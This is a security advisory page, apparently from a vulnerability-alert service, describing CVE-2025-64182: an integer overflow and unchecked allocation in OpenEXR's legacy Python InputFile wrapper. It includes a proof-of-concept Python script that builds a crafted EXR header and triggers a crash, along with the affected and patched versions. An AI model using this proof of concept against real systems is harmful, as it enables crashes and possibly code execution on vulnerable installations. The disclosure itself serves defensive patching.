CVE-2025-64182: OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Published Nov 10, 2025
·
Updated

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

- In channel():

- Width and height are derived from the header dataWindow using int.

- typeSize is a sizet. The buffer size is computed as typeSize width height with no bounds checks.

- The result is passed to PyStringFromStringAndSize(NULL, size) which maps to PyBytesFromStringAndSize. That function expects Pyssizet. If the product overflows or exceeds PYSSIZETMAX, allocation fails or the value wraps.

- The return value is not checked. The code immediately calls PyStringAsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

- On 64 bit: PyBytesFromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize width bytes per scanline for height lines into that buffer, causing a heap overflow.

- In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

python writebigheaderthencrash.py import OpenEXR, Imath

OpenEXR sanity clamp for header coords is about INTMAX/2 - 1 INTMAX = (1 << 31) - 1 MAXCOORD = (INTMAX // 2) - 1 # 1073741822

Choose a scanline width that keeps row-bytes < 2^31 400,000,000 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400000000, MAXCOORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny

Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

Robustly set NOCOMPRESSION across enum naming differences def nocompression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NOCOMPRESSION", "NONE", "NOCOMPRESSIONENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0)

hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": nocompression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASINGY), }

Write just the header (no pixels) out = OpenEXR.OutputFile("bigheader.exr", hdr) out.close()

Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("bigheader.exr") print("Triggering crash...") f.channels(["R"])

$ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex34::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py

Impact Typical memory stuff.

Other sources

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

MITRE

Affected Software

7 affected componentsFixes available
OpenEXR PyOpenEXR_old>=3.2.0<=3.2.4, >=3.3.0<=3.3.5, >=3.4.0<=3.4.2
OpenEXR OpenEXR>=3.2.0<3.2.5
OpenEXR OpenEXR>=3.3.0<3.3.6
OpenEXR OpenEXR>=3.4.0<3.4.3
pip/OpenEXR>=3.4.0<3.4.3
3.4.3
pip/OpenEXR>=3.3.0<3.3.6
3.3.6
pip/OpenEXR>=3.2.0<3.2.5
3.2.5

Event History

Nov 10, 2025
CVE Published
via MITRE·09:27 PM
Data Sourced
via MITRE·09:27 PM
DescriptionWeakness
Data Sourced
via NVD·10:15 PM
DescriptionSeverityWeaknessAffected Software
Apr 6, 2026
Advisory Published
via GitHub·05:51 PM
Data Sourced
via GitHub·05:51 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-64182?

CVE-2025-64182 is classified as a memory safety vulnerability which could potentially lead to remote code execution.

2

How do I fix CVE-2025-64182?

To mitigate CVE-2025-64182, upgrade to OpenEXR version 3.2.5 or later, 3.3.6 or later, or 3.4.3 or later.

3

Which versions of OpenEXR are affected by CVE-2025-64182?

CVE-2025-64182 affects OpenEXR versions 3.2.0 to 3.2.4, 3.3.0 to 3.3.5, and 3.4.0 to 3.4.2.

4

What types of impacts can CVE-2025-64182 cause?

CVE-2025-64182 can potentially allow malicious actors to execute arbitrary code on vulnerable systems.

5

Is there a workaround for CVE-2025-64182?

There are no documented workarounds for CVE-2025-64182, making it essential to update to a secure version.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203